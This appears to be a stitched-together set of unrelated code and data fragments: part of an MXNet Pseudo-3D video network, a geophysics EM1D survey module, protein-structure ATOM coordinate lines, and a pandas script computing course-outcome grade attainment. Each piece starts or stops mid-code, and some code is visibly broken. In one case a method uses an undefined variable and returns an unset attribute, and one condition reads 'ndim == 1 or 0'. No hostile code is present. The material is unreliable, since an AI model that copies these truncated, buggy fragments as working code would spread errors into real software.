self.bn1 = norm_layer(in_channels=planes,
**({} if norm_kwargs is None else norm_kwargs))
else:
if self.num_layers == self.depth_3d:
strides = 2
else:
strides = 1
self.conv1 = nn.Conv2D(in_channels=inplanes,
channels=planes,
kernel_size=1,
strides=strides,
use_bias=False)
self.bn1 = norm_layer(in_channels=planes,
**({} if norm_kwargs is None else norm_kwargs))
# second block
self.block_id = int(num_layers)
self.design = list(self.block_design)[self.block_id % self.cycle]
if self.num_layers < self.depth_3d:
self.conv2 = conv1x3x3(planes, planes)
self.bn2 = norm_layer(in_channels=planes,
**({} if norm_kwargs is None else norm_kwargs))
self.conv_temporal = conv3x1x1(planes, planes)
self.bn_temporal = norm_layer(in_channels=planes,
**({} if norm_kwargs is None else norm_kwargs))
else:
self.conv2 = nn.Conv2D(in_channels=planes, channels=planes, kernel_size=3,
strides=1, padding=1, use_bias=False)
self.bn2 = norm_layer(in_channels=planes,
**({} if norm_kwargs is None else norm_kwargs))
# third block
if self.num_layers < self.depth_3d:
self.conv3 = nn.Conv3D(in_channels=planes,
channels=planes * self.expansion,
kernel_size=1,
use_bias=False)
self.bn3 = norm_layer(in_channels=planes * self.expansion,
**({} if norm_kwargs is None else norm_kwargs))
else:
self.conv3 = nn.Conv2D(in_channels=planes,
channels=planes * self.expansion,
kernel_size=1,
use_bias=False)
self.bn3 = norm_layer(in_channels=planes * self.expansion,
**({} if norm_kwargs is None else norm_kwargs))
self.relu = nn.Activation('relu')
def P3DA(self, x):
"""P3D-A unit
Stacked architecture by making temporal 1D filters (T)
follow spatial 2D filters (S) in a cascaded manner.
"""
x = self.conv2(x)
x = self.bn2(x)
x = self.relu(x)
x = self.conv_temporal(x)
x = self.bn_temporal(x)
x = self.relu(x)
return x
def P3DB(self, x):
"""P3D-B unit
Parallel architecture by making temporal 1D filters (T)
and spatial 2D filters (S) in different pathways.
"""
spatial_x = self.conv2(x)
spatial_x = self.bn2(spatial_x)
spatial_x = self.relu(spatial_x)
temporal_x = self.conv_temporal(x)
temporal_x = self.bn_temporal(temporal_x)
temporal_x = self.relu(temporal_x)
return spatial_x + temporal_x
def P3DC(self, x):
"""P3D-C unit
A compromise design between P3D-A and P3D-B.
"""
spatial_x = self.conv2(x)
spatial_x = self.bn2(spatial_x)
spatial_x = self.relu(spatial_x)
st_residual_x = self.conv_temporal(spatial_x)
st_residual_x = self.bn_temporal(st_residual_x)
st_residual_x = self.relu(st_residual_x)
return spatial_x + st_residual_x
def hybrid_forward(self, F, x):
"""Hybrid forward of a ResBlock in P3D."""
identity = x
out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)
if self.block_id < self.depth_3d:
if self.design == 'A':
out = self.P3DA(out)
elif self.design == 'B':
out = self.P3DB(out)
elif self.design == 'C':
out = self.P3DC(out)
else:
print('We do not support %s building block for P3D networks. \
Please try A, B or C.' % self.design)
else:
out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)
out = self.conv3(out)
out = self.bn3(out)
if self.downsample is not None:
identity = self.downsample(x)
out = F.Activation(out + identity, act_type='relu')
return out
class P3D(HybridBlock):
r"""
The Pseudo 3D network (P3D).
Learning Spatio-Temporal Representation with Pseudo-3D Residual Networks.
ICCV, 2017. https://arxiv.org/abs/1711.10305
Parameters
----------
nclass : int
Number of classes in the training dataset.
block : Block, default is `Bottleneck`.
Class for the residual block.
layers : list of int
Numbers of layers in each block
block_design : tuple of str.
Different designs for each block, from 'A', 'B' or 'C'.
dropout_ratio : float, default is 0.5.
The dropout rate of a dropout layer.
The larger the value, the more strength to prevent overfitting.
num_segments : int, default is 1.
Number of segments used to evenly divide a video.
num_crop : int, default is 1.
Number of crops used during evaluation, choices are 1, 3 or 10.
feat_ext : bool.
Whether to extract features before dense classification layer or
do a complete forward pass.
init_std : float, default is 0.001.
Standard deviation value when initialize the dense layers.
ctx : Context, default CPU.
The context in which to load the pretrained weights.
partial_bn : bool, default False.
Freeze all batch normalization layers during training except the first layer.
norm_layer : object
Normalization layer used (default: :class:`mxnet.gluon.nn.BatchNorm`)
Can be :class:`mxnet.gluon.nn.BatchNorm` or :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
norm_kwargs : dict
Additional `norm_layer` arguments, for example `num_devices=4`
for :class:`mxnet.gluon.contrib.nn.SyncBatchNorm`.
"""
def __init__(self, nclass, block, layers, shortcut_type='B',
block_design=('A', 'B', 'C'), dropout_ratio=0.5,
num_segments=1, num_crop=1, feat_ext=False,
init_std=0.001, ctx=None, partial_bn=False,
norm_layer=BatchNorm, norm_kwargs=None, **kwargs):
super(P3D, self).__init__()
self.shortcut_type = shortcut_type
self.block_design = block_design
self.partial_bn = partial_bn
self.dropout_ratio = dropout_ratio
self.init_std = init_std
self.num_segments = num_segments
self.num_crop = num_crop
self.feat_ext = feat_ext
self.inplanes = 64
self.feat_dim = 512 * block.expansion
with self.name_scope():
self.conv1 = nn.Conv3D(in_channels=3, channels=64, kernel_size=(1, 7, 7),
strides=(1, 2, 2), padding=(0, 3, 3), use_bias=False)
self.bn1 = norm_layer(in_channels=64, **({} if norm_kwargs is None else norm_kwargs))
self.relu = nn.Activation('relu')
self.pool = nn.MaxPool3D(pool_size=(2, 3, 3), strides=2, padding=(0, 1, 1))
self.pool2 = nn.MaxPool3D(pool_size=(2, 1, 1), strides=(2, 1, 1), padding=0)
if self.partial_bn:
if norm_kwargs is not None:
norm_kwargs['use_global_stats'] = True
else:
norm_kwargs = {}
norm_kwargs['use_global_stats'] = True
# 3D layers are only for (layers1, layers2 and layers3), layers4 is C2D
self.depth_3d = sum(layers[:3])
self.layer_cnt = 0
self.layer1 = self._make_res_layer(block=block,
planes=64,
blocks=layers[0],
layer_name='layer1_')
self.layer2 = self._make_res_layer(block=block,
planes=128,
blocks=layers[1],
spatial_stride=2,
layer_name='layer2_')
self.layer3 = self._make_res_layer(block=block,
planes=256,
blocks=layers[2],
spatial_stride=2,
layer_name='layer3_')
self.layer4 = self._make_res_layer(block=block,
planes=512,
blocks=layers[3],
spatial_stride=2,
layer_name='layer4_')
self.avgpool = nn.GlobalAvgPool2D()
self.dropout = nn.Dropout(rate=self.dropout_ratio)
self.fc = nn.Dense(in_units=self.feat_dim, units=nclass,
weight_initializer=init.Normal(sigma=self.init_std))
def _make_res_layer(self,
block,
planes,
blocks,
shortcut_type='B',
block_design=('A', 'B', 'C'),
spatial_stride=1,
temporal_stride=1,
norm_layer=BatchNorm,
norm_kwargs=None,
layer_name=''):
"""Build each stage of a ResNet"""
downsample = None
if self.layer_cnt < self.depth_3d:
if spatial_stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.HybridSequential(prefix=layer_name + 'downsample_')
with downsample.name_scope():
downsample.add(nn.Conv3D(in_channels=self.inplanes,
channels=planes * block.expansion,
kernel_size=1,
strides=(temporal_stride, spatial_stride, spatial_stride),
use_bias=False))
downsample.add(norm_layer(in_channels=planes * block.expansion,
**({} if norm_kwargs is None else norm_kwargs)))
else:
if spatial_stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.HybridSequential(prefix=layer_name + 'downsample_')
with downsample.name_scope():
downsample.add(nn.Conv2D(in_channels=self.inplanes,
channels=planes * block.expansion,
kernel_size=1,
strides=spatial_stride,
use_bias=False))
downsample.add(norm_layer(in_channels=planes * block.expansion,
**({} if norm_kwargs is None else norm_kwargs)))
layers = nn.HybridSequential(prefix=layer_name)
with layers.name_scope():
layers.add(block(inplanes=self.inplanes,
planes=planes,
spatial_stride=spatial_stride,
temporal_stride=temporal_stride,
downsample=downsample,
num_layers=self.layer_cnt,
depth_3d=self.depth_3d,
block_design=block_design))
self.layer_cnt += 1
self.inplanes = planes * block.expansion
for _ in range(1, blocks):
layers.add(block(inplanes=self.inplanes,
planes=planes,
spatial_stride=1,
temporal_stride=1,
num_layers=self.layer_cnt,
depth_3d=self.depth_3d,
block_design=block_design))
self.layer_cnt += 1
return layers
def hybrid_forward(self, F, x):
"""Hybrid forward of P3D net"""
x = self.conv1(x)
x = self.bn1(x)
x = self.relu(x)
x = self.pool(x)
x = self.pool2(self.layer1(x))
x = self.pool2(self.layer2(x))
x = self.pool2(self.layer3(x))
x = F.reshape(x, (-1, 0, 1, 0, 0)) # 0 keeps the original dimension
x = F.squeeze(x, axis=2)
x = self.layer4(x)
x = | |
<filename>geoapps/simpegEM1D/Survey.py
from geoapps.simpegPF import Maps, Survey, Utils
import numpy as np
import scipy.sparse as sp
from scipy.constants import mu_0
from .EM1DAnalytics import ColeCole
from .DigFilter import (
transFilt,
transFiltImpulse,
transFiltInterp,
transFiltImpulseInterp,
)
from .Waveform import CausalConv
from scipy.interpolate import interp1d
from scipy.interpolate import InterpolatedUnivariateSpline as iuSpline
import properties
from empymod import filters
from empymod.utils import check_time
from empymod.transform import fourier_dlf
from .Waveforms import (
piecewise_pulse_fast,
butterworth_type_filter,
butter_lowpass_filter,
)
class BaseEM1DSurvey(Survey.BaseSurvey, properties.HasProperties):
"""
Base EM1D Survey
"""
frequency = properties.Array("Frequency (Hz)", dtype=float)
rx_location = properties.Array("Receiver location (x, y, z)", dtype=float)
src_location = properties.Array("Source location (x, y, z)", dtype=float)
src_path = properties.Array("Source path (xi, yi, zi), i=0,...N", dtype=float)
src_type = properties.StringChoice(
"Source type",
default="VMD",
choices=["VMD", "CircularLoop", "piecewise_segment"],
)
offset = properties.Array("Src-Rx offsets", dtype=float)
rx_type = properties.StringChoice(
"Source location", default="Hz", choices=["Hz", "ppm", "Bz", "dBzdt"]
)
field_type = properties.StringChoice(
"Field type", default="secondary", choices=["total", "secondary"]
)
depth = properties.Array("Depth of the layers", dtype=float)
topo = properties.Array("Topography (x, y, z)", dtype=float)
I = properties.Float("Src loop current", default=1.0)
a = properties.Float("Src loop radius", default=1.0)
half_switch = properties.Bool("Switch for half-space", default=False)
def __init__(self, **kwargs):
Survey.BaseSurvey.__init__(self, **kwargs)
@property
def h(self):
"""
Source height
"""
return self.src_location[2] - self.topo[2]
@property
def z(self):
"""
Receiver height
"""
return self.rx_location[2] - self.topo[2]
@property
def dz(self):
"""
Source height - Rx height
"""
return self.z - self.h
@property
def n_layer(self):
"""
Srource height
"""
if self.half_switch is False:
return self.depth.size
elif self.half_switch is True:
return int(1)
@property
def n_frequency(self):
"""
# of frequency
"""
return int(self.frequency.size)
@property
def src_paths_on_x(self):
"""
# of frequency
"""
if getattr(self, "_src_paths_on_x", None) is None:
offset = np.unique(self.offset)
if offset.size != 1:
raise Exception("For the sourth paths, only single offset works!")
xy_rot, xy_obs_rot, angle = rotate_to_x_axis(
np.flipud(xy), np.r_[offset, 0.0]
)
return self._src_paths
@Utils.requires("prob")
def dpred(self, m, f=None):
"""
Computes predicted data.
Here we do not store predicted data
because projection (`d = P(f)`) is cheap.
"""
if f is None:
f = self.prob.fields(m)
return Utils.mkvc(self.projectFields(f))
class EM1DSurveyFD(BaseEM1DSurvey):
"""
Freqency-domain EM1D survey
"""
# Nfreq = None
switch_real_imag = properties.StringChoice(
"Switch for real and imaginary part of the data",
default="all",
choices=["all", "real", "imag"],
)
def __init__(self, **kwargs):
BaseEM1DSurvey.__init__(self, **kwargs)
if self.src_type == "VMD":
if self.offset is None:
raise Exception("offset is required!")
if self.offset.size == 1:
self.offset = self.offset * np.ones(self.n_frequency)
@property
def nD(self):
"""
# of data
"""
if self.switch_real_imag == "all":
return int(self.frequency.size * 2)
elif self.switch_real_imag == "imag" or self.switch_real_imag == "real":
return int(self.n_frequency)
@property
def hz_primary(self):
# Assumes HCP only at the moment
if self.src_type == "VMD":
return -1.0 / (4 * np.pi * self.offset ** 3)
elif self.src_type == "CircularLoop":
return self.I / (2 * self.a) * np.ones_like(self.frequency)
else:
raise NotImplementedError()
def projectFields(self, u):
"""
Decompose frequency domain EM responses as real and imaginary
components
"""
ureal = (u.real).copy()
uimag = (u.imag).copy()
if self.rx_type == "Hz":
factor = 1.0
elif self.rx_type == "ppm":
factor = 1.0 / self.hz_primary * 1e6
if self.switch_real_imag == "all":
ureal = (u.real).copy()
uimag = (u.imag).copy()
if ureal.ndim == 1 or 0:
resp = np.r_[ureal * factor, uimag * factor]
elif ureal.ndim == 2:
if np.isscalar(factor):
resp = np.vstack((factor * ureal, factor * uimag))
else:
resp = np.vstack(
(Utils.sdiag(factor) * ureal, Utils.sdiag(factor) * uimag)
)
else:
raise NotImplementedError()
elif self.switch_real_imag == "real":
resp = (u.real).copy()
elif self.switch_real_imag == "imag":
resp = (u.imag).copy()
else:
raise NotImplementedError()
return resp
class EM1DSurveyTD(BaseEM1DSurvey):
"""docstring for EM1DSurveyTD"""
time = properties.Array("Time channels (s) at current off-time", dtype=float)
wave_type = properties.StringChoice(
"Source location", default="stepoff", choices=["stepoff", "general"]
)
moment_type = properties.StringChoice(
"Source moment type", default="single", choices=["single", "dual"]
)
n_pulse = properties.Integer("The number of pulses",)
base_frequency = properties.Float("Base frequency (Hz)")
time_input_currents = properties.Array("Time for input currents", dtype=float)
input_currents = properties.Array("Input currents", dtype=float)
use_lowpass_filter = properties.Bool("Switch for low pass filter", default=False)
high_cut_frequency = properties.Float(
"High cut frequency for low pass filter (Hz)", default=210 * 1e3
)
# Predicted data
_pred = None
# ------------- For dual moment ------------- #
time_dual_moment = properties.Array(
"Off-time channels (s) for the dual moment", dtype=float
)
time_input_currents_dual_moment = properties.Array(
"Time for input currents (dual moment)", dtype=float
)
input_currents_dual_moment = properties.Array(
"Input currents (dual moment)", dtype=float
)
base_frequency_dual_moment = properties.Float(
"Base frequency for the dual moment (Hz)"
)
def __init__(self, **kwargs):
BaseEM1DSurvey.__init__(self, **kwargs)
if self.time is None:
raise Exception("time is required!")
# Use Sin filter for frequency to time transform
self.fftfilt = filters.key_81_CosSin_2009()
self.set_frequency()
if self.src_type == "VMD":
if self.offset is None:
raise Exception("offset is required!")
if self.offset.size == 1:
self.offset = self.offset * np.ones(self.n_frequency)
@property
def time_int(self):
"""
Time channels (s) for interpolation"
"""
if getattr(self, "_time_int", None) is None:
if self.moment_type == "single":
time = self.time
pulse_period = self.pulse_period
period = self.period
# Dual moment
else:
time = np.unique(np.r_[self.time, self.time_dual_moment])
pulse_period = np.maximum(
self.pulse_period, self.pulse_period_dual_moment
)
period = np.maximum(self.period, self.period_dual_moment)
tmin = time[time > 0.0].min()
if self.n_pulse == 1:
tmax = time.max() + pulse_period
elif self.n_pulse == 2:
tmax = time.max() + pulse_period + period / 2.0
else:
raise NotImplementedError("n_pulse must be either 1 or 2")
n_time = int((np.log10(tmax) - np.log10(tmin)) * 10 + 1)
self._time_int = np.logspace(np.log10(tmin), np.log10(tmax), n_time)
# print (tmin, tmax)
return self._time_int
@property
def n_time(self):
return int(self.time.size)
@property
def period(self):
return 1.0 / self.base_frequency
@property
def pulse_period(self):
Tp = self.time_input_currents.max() - self.time_input_currents.min()
return Tp
# ------------- For dual moment ------------- #
@property
def n_time_dual_moment(self):
return int(self.time_dual_moment.size)
@property
def period_dual_moment(self):
return 1.0 / self.base_frequency_dual_moment
@property
def pulse_period_dual_moment(self):
Tp = (
self.time_input_currents_dual_moment.max()
- self.time_input_currents_dual_moment.min()
)
return Tp
@property
def nD(self):
"""
# of data
"""
if self.moment_type == "single":
return self.n_time
else:
return self.n_time + self.n_time_dual_moment
@property
def lowpass_filter(self):
"""
Low pass filter values
"""
if getattr(self, "_lowpass_filter", None) is None:
# self._lowpass_filter = butterworth_type_filter(
# self.frequency, self.high_cut_frequency
# )
self._lowpass_filter = (
1 + 1j * (self.frequency / self.high_cut_frequency)
) ** -1
self._lowpass_filter *= (1 + 1j * (self.frequency / 3e5)) ** -0.99
# For actual butterworth filter
# filter_frequency, values = butter_lowpass_filter(
# self.high_cut_frequency
# )
# lowpass_func = interp1d(
# filter_frequency, values, fill_value='extrapolate'
# )
# self._lowpass_filter = lowpass_func(self.frequency)
return self._lowpass_filter
def set_frequency(self, pts_per_dec=-1):
"""
Compute Frequency reqired for frequency to time transform
"""
if self.wave_type == "general":
_, frequency, ft, ftarg = check_time(
self.time_int,
-1,
"dlf",
{"pts_per_dec": pts_per_dec, "dlf": self.fftfilt},
0,
)
elif self.wave_type == "stepoff":
_, frequency, ft, ftarg = check_time(
self.time,
-1,
"dlf",
{"pts_per_dec": pts_per_dec, "dlf": self.fftfilt},
0,
)
else:
raise Exception("wave_type must be either general or stepoff")
self.frequency = frequency
self.ftarg = ftarg
def projectFields(self, u):
"""
Transform frequency domain responses to time domain responses
"""
# Compute frequency domain reponses right at filter coefficient values
# Src waveform: Step-off
if self.use_lowpass_filter:
factor = self.lowpass_filter.copy()
else:
factor = np.ones_like(self.frequency, dtype=complex)
if self.rx_type == "Bz":
factor *= 1.0 / (2j * np.pi * self.frequency)
if self.wave_type == "stepoff":
# Compute EM responses
if u.size == self.n_frequency:
resp, _ = fourier_dlf(
u.flatten() * factor, self.time, self.frequency, self.ftarg
)
# Compute EM sensitivities
else:
resp = np.zeros(
(self.n_time, self.n_layer), dtype=np.float64, order="F"
)
# )
# TODO: remove for loop
for i in range(self.n_layer):
resp_i, _ = fourier_dlf(
u[:, i] * factor, self.time, self.frequency, self.ftarg
)
resp[:, i] = resp_i
# Evaluate piecewise linear input current waveforms
# Using Fittermann's approach (19XX) with Gaussian Quadrature
elif self.wave_type == "general":
# Compute EM responses
if u.size == self.n_frequency:
resp_int, _ = fourier_dlf(
u.flatten() * factor, self.time_int, self.frequency, self.ftarg
)
# step_func = interp1d(
# self.time_int, resp_int
# )
step_func = iuSpline(np.log10(self.time_int), resp_int)
resp = piecewise_pulse_fast(
step_func,
self.time,
self.time_input_currents,
self.input_currents,
self.period,
n_pulse=self.n_pulse,
)
# Compute response for the dual moment
if self.moment_type == "dual":
resp_dual_moment = piecewise_pulse_fast(
step_func,
self.time_dual_moment,
self.time_input_currents_dual_moment,
self.input_currents_dual_moment,
self.period_dual_moment,
n_pulse=self.n_pulse,
)
# concatenate dual moment response
# so, ordering is the first moment data
# then the second moment data.
resp = np.r_[resp, resp_dual_moment]
# Compute EM sensitivities
else:
if self.moment_type == "single":
resp = np.zeros(
(self.n_time, self.n_layer), dtype=np.float64, order="F"
)
else:
# For dual moment
resp = np.zeros(
(self.n_time + self.n_time_dual_moment, self.n_layer),
dtype=np.float64,
order="F",
)
# TODO: | |
2990 C C . GLU B 1 165 ? 69.016 -35.527 10.919 1.00 13.92 ? 166 GLU B C 1
ATOM 2991 O O . GLU B 1 165 ? 69.765 -35.813 11.818 1.00 16.65 ? 166 GLU B O 1
ATOM 2992 C CB . GLU B 1 165 ? 66.913 -34.837 11.971 1.00 15.51 ? 166 GLU B CB 1
ATOM 2993 C CG . GLU B 1 165 ? 65.381 -35.002 11.993 1.00 17.13 ? 166 GLU B CG 1
ATOM 2994 C CD . GLU B 1 165 ? 64.678 -34.488 10.786 1.00 16.07 ? 166 GLU B CD 1
ATOM 2995 O OE1 . GLU B 1 165 ? 63.421 -34.628 10.773 1.00 20.69 ? 166 GLU B OE1 1
ATOM 2996 O OE2 . GLU B 1 165 ? 65.243 -33.982 9.803 1.00 20.48 ? 166 GLU B OE2 1
ATOM 2997 N N . PRO B 1 166 ? 69.420 -34.881 9.836 1.00 14.62 ? 167 PRO B N 1
ATOM 2998 C CA . PRO B 1 166 ? 68.558 -34.273 8.859 1.00 14.57 ? 167 PRO B CA 1
ATOM 2999 C C . PRO B 1 166 ? 68.499 -35.104 7.584 1.00 15.32 ? 167 PRO B C 1
ATOM 3000 O O . PRO B 1 166 ? 67.882 -34.679 6.630 1.00 14.24 ? 167 PRO B O 1
ATOM 3001 C CB . PRO B 1 166 ? 69.291 -32.958 8.532 1.00 15.80 ? 167 PRO B CB 1
ATOM 3002 C CG . PRO B 1 166 ? 70.727 -33.323 8.703 1.00 15.67 ? 167 PRO B CG 1
ATOM 3003 C CD . PRO B 1 166 ? 70.760 -34.235 9.866 1.00 14.02 ? 167 PRO B CD 1
ATOM 3004 N N . THR B 1 167 ? 69.239 -36.195 7.527 1.00 15.38 ? 168 THR B N 1
ATOM 3005 C CA . THR B 1 167 ? 69.354 -36.876 6.233 1.00 16.23 ? 168 THR B CA 1
ATOM 3006 C C . THR B 1 167 ? 68.051 -37.524 5.806 1.00 15.96 ? 168 THR B C 1
ATOM 3007 O O . THR B 1 167 ? 67.958 -37.861 4.605 1.00 18.42 ? 168 THR B O 1
ATOM 3008 C CB . THR B 1 167 ? 70.446 -37.924 6.178 1.00 15.01 ? 168 THR B CB 1
ATOM 3009 O OG1 . THR B 1 167 ? 70.235 -38.912 7.181 1.00 15.12 ? 168 THR B OG1 1
ATOM 3010 C CG2 . THR B 1 167 ? 71.792 -37.302 6.317 1.00 15.42 ? 168 THR B CG2 1
ATOM 3011 N N . LEU B 1 168 ? 67.117 -37.752 6.712 1.00 17.35 ? 169 LEU B N 1
ATOM 3012 C CA . LEU B 1 168 ? 65.806 -38.291 6.253 1.00 17.12 ? 169 LEU B CA 1
ATOM 3013 C C . LEU B 1 168 ? 65.069 -37.327 5.233 1.00 17.06 ? 169 LEU B C 1
ATOM 3014 O O . LEU B 1 168 ? 64.073 -37.716 4.581 1.00 16.23 ? 169 LEU B O 1
ATOM 3015 C CB . LEU B 1 168 ? 64.896 -38.672 7.426 1.00 16.03 ? 169 LEU B CB 1
ATOM 3016 C CG . LEU B 1 168 ? 64.401 -37.543 8.325 1.00 15.94 ? 169 LEU B CG 1
ATOM 3017 C CD1 . LEU B 1 168 ? 63.182 -36.821 7.729 1.00 15.47 ? 169 LEU B CD1 1
ATOM 3018 C CD2 . LEU B 1 168 ? 64.105 -38.027 9.734 1.00 15.71 ? 169 LEU B CD2 1
ATOM 3019 N N . ASN B 1 169 ? 65.553 -36.103 5.084 1.00 15.31 ? 170 ASN B N 1
ATOM 3020 C CA . ASN B 1 169 ? 64.986 -35.095 4.195 1.00 15.17 ? 170 ASN B CA 1
ATOM 3021 C C . ASN B 1 169 ? 65.589 -34.983 2.797 1.00 15.64 ? 170 ASN B C 1
ATOM 3022 O O . ASN B 1 169 ? 65.186 -34.085 2.028 1.00 15.80 ? 170 ASN B O 1
ATOM 3023 C CB . ASN B 1 169 ? 65.026 -33.676 4.805 1.00 17.43 ? 170 ASN B CB 1
ATOM 3024 C CG . ASN B 1 169 ? 64.430 -33.616 6.163 1.00 18.19 ? 170 ASN B CG 1
ATOM 3025 O OD1 . ASN B 1 169 ? 63.214 -33.793 6.346 1.00 22.44 ? 170 ASN B OD1 1
ATOM 3026 N ND2 . ASN B 1 169 ? 65.245 -33.383 7.127 1.00 21.15 ? 170 ASN B ND2 1
ATOM 3027 N N . THR B 1 170 ? 66.596 -35.835 2.477 1.00 15.74 ? 171 THR B N 1
ATOM 3028 C CA . THR B 1 170 ? 67.197 -35.740 1.152 1.00 15.42 ? 171 THR B CA 1
ATOM 3029 C C . THR B 1 170 ? 66.240 -35.770 -0.005 1.00 13.47 ? 171 THR B C 1
ATOM 3030 O O . THR B 1 170 ? 66.404 -35.095 -0.986 1.00 14.55 ? 171 THR B O 1
ATOM 3031 C CB . THR B 1 170 ? 68.255 -36.859 0.886 1.00 15.35 ? 171 THR B CB 1
ATOM 3032 O OG1 . THR B 1 170 ? 67.719 -38.163 1.202 1.00 15.95 ? 171 THR B OG1 1
ATOM 3033 C CG2 . THR B 1 170 ? 69.492 -36.586 1.687 1.00 15.54 ? 171 THR B CG2 1
ATOM 3034 N N . ALA B 1 171 ? 65.242 -36.622 0.077 1.00 14.84 ? 172 ALA B N 1
ATOM 3035 C CA . ALA B 1 171 ? 64.136 -36.602 -0.868 1.00 14.84 ? 172 ALA B CA 1
ATOM 3036 C C . ALA B 1 171 ? 64.436 -36.910 -2.304 1.00 16.20 ? 172 ALA B C 1
ATOM 3037 O O . ALA B 1 171 ? 63.893 -36.270 -3.248 1.00 16.78 ? 172 ALA B O 1
ATOM 3038 C CB . ALA B 1 171 ? 63.319 -35.281 -0.763 1.00 15.25 ? 172 ALA B CB 1
ATOM 3039 N N . ILE B 1 172 ? 65.364 -37.842 -2.492 1.00 17.62 ? 173 ILE B N 1
ATOM 3040 C CA . ILE B 1 172 ? 65.873 -38.123 -3.816 1.00 16.72 ? 173 ILE B CA 1
ATOM 3041 C C . ILE B 1 172 ? 64.782 -38.840 -4.601 1.00 16.43 ? 173 ILE B C 1
ATOM 3042 O O . ILE B 1 172 ? 64.237 -39.824 -4.157 1.00 16.11 ? 173 ILE B O 1
ATOM 3043 C CB . ILE B 1 172 ? 67.182 -38.929 -3.808 1.00 17.82 ? 173 ILE B CB 1
ATOM 3044 C CG1 . ILE B 1 172 ? 68.268 -38.231 -2.967 1.00 19.04 ? 173 ILE B CG1 1
ATOM 3045 C CG2 . ILE B 1 172 ? 67.707 -39.042 -5.217 1.00 19.94 ? 173 ILE B CG2 1
ATOM 3046 C CD1 . ILE B 1 172 ? 69.260 -39.237 -2.453 1.00 20.47 ? 173 ILE B CD1 1
ATOM 3047 N N . PRO B 1 173 ? 64.486 -38.349 -5.808 1.00 18.22 ? 174 PRO B N 1
ATOM 3048 C CA . PRO B 1 173 ? 63.531 -39.021 -6.674 1.00 18.75 ? 174 PRO B CA 1
ATOM 3049 C C . PRO B 1 173 ? 63.852 -40.502 -6.862 1.00 19.23 ? 174 PRO B C 1
ATOM 3050 O O . PRO B 1 173 ? 65.038 -40.858 -7.054 1.00 20.98 ? 174 PRO B O 1 | |
import pandas as pd
import numpy as np
import ntpath
import easygui
import os
import warnings
import time
import math
from openpyxl import load_workbook
warnings.filterwarnings("ignore")
# array['CO1'][0] = 8
CO_percentage = {'CO1': [], 'CO2': [], 'CO3': [], 'CO4': [],
'CO5': [], 'CO6': [], }
POS = {}
PO = None
POS_count= {}
POS_write= []
COS = {'CO Summary': [],'CO1': [], 'CO2': [], 'CO3': [], 'CO4': [],
'CO5': [], 'CO6': [], }
CO_SUMMARY = [[None for f in range(100)] for x in range(100)]
INT_COS_count = {'CO1': 0, 'CO2': 0, 'CO3': 0, 'CO4': 0, 'CO5': 0, 'CO6': 0}
ENDSEM_COS_count = {'CO1': 0, 'CO2': 0, 'CO3': 0, 'CO4': 0, 'CO5': 0, 'CO6': 0}
showFlagCOS = {'CO1': 0, 'CO2': 0, 'CO3': 0, 'CO4': 0, 'CO5': 0, 'CO6': 0}
GRADE_RANGES = [60, 50, 40]
INTS = []
ENDSEM = None
x_overall = {}
NUM_STUDENTS = 0
INT_MARKS = []
ENDSEM_MARKS = []
INT_MARKS_PER_QUESTION = []
ENDSEM_MARKS_PER_QUESTION = []
QUESTION_ATTEMPTED = []
GRADES = []
EMPTY = []
INT_NUM_GRADES = {'1': 0, '2': 0, '3': 0}
ENDSEM_NUM_GRADES = {'1': 0, '2': 0, '3': 0}
overallPercentage = {}
INT_AVERAGE_GRADE = []
ENDSEM_AVERAGE_GRADE = []
sheet_to_df_map = {}
def writeToFile(path,original,obj,trans=1):
global showFlagCOS
print('Writing to file : ',path)
writer = pd.ExcelWriter(path,mode = "w")
for key in original:
k = original[key]
#write = pd.DataFrame(k)
k.to_excel(writer,key,header=False,index=False)
for key in obj:
if(key == 'CO Summary' or key == 'Percentage of COs POs and PSOs'):
if (trans):
k = map(list,zip(*obj[key]))
else:
k = obj[key]
write = pd.DataFrame(k)
write.to_excel(writer,key,header=False,index=False)
elif (showFlagCOS[key] != 0 ):
if (trans):
k = map(list,zip(*obj[key]))
else:
k = obj[key]
write = pd.DataFrame(k)
write.to_excel(writer,key,header=False,index=False)
writer.save()
def readFile(file):
global COS,CO_SUMMARY,INT_COS_count,ENDSEM_COS_count,INTS,ENDSEM,NUM_STUDENTS,INT_MARKS,ENDSEM_MARKS
global INT_MARKS_PER_QUESTION,ENDSEM_MARKS_PER_QUESTION,QUESTION_ATTEMPTED,GRADES,EMPTY,INT_NUM_GRADES,ENDSEM_NUM_GRADES
global INT_AVERAGE_GRADE,PO
global ENDSEM_AVERAGE_GRADE,sheet_to_df_map
COS = {'CO Summary': [],'CO1': [], 'CO2': [], 'CO3': [], 'CO4': [],
'CO5': [], 'CO6': [], }
CO_SUMMARY = [[None for f in range(100)] for x in range(100)]
INT_COS_count = {'CO1': 0, 'CO2': 0, 'CO3': 0, 'CO4': 0, 'CO5': 0, 'CO6': 0}
ENDSEM_COS_count = {'CO1': 0, 'CO2': 0, 'CO3': 0, 'CO4': 0, 'CO5': 0, 'CO6': 0}
INTS = []
ENDSEM = None
NUM_STUDENTS = 0
INT_MARKS = []
ENDSEM_MARKS = []
INT_MARKS_PER_QUESTION = []
ENDSEM_MARKS_PER_QUESTION = []
QUESTION_ATTEMPTED = []
GRADES = []
EMPTY = []
INT_NUM_GRADES = {'1': 0, '2': 0, '3': 0}
ENDSEM_NUM_GRADES = {'1': 0, '2': 0, '3': 0}
INT_AVERAGE_GRADE = []
ENDSEM_AVERAGE_GRADE = []
sheet_to_df_map = {}
PO = None
try:
print('Reading file: ',file)
# Creating file pointer in the name of excel
excel = pd.ExcelFile(file)
for sheet_name in excel.sheet_names:
sheet_to_df_map[sheet_name] = excel.parse(sheet_name)
# Array INTS holds the objects for all internals sheets of excelfile as its elements
for key, value in sheet_to_df_map.items():
if (key == 'PO-Attainment'):
PO = value
else:
INTS.append(value)
if (key == 'End Sem'):
ENDSEM = value
NAMES = INTS[0].iloc[3:, 2]
ROLL_NO = INTS[0].iloc[3:, 1]
readPOS()
excel.close()
except:
print('Error reading file : ',ntpath.basename(file))
# User defined function
def readPOS():
global POS, POS_count
for i in range(1, 1000):
try:
s = PO.iat[1, 1+i]
if (s.startswith('P')):
POS[str(s)] = PO.iloc[2:, 1 + i]
POS_count[str(s)] = 1
else:
pass
except:
break
def calculatePOS():
global POS,POS_count,POS_write,CO_percentage,EMPTY,x_overall
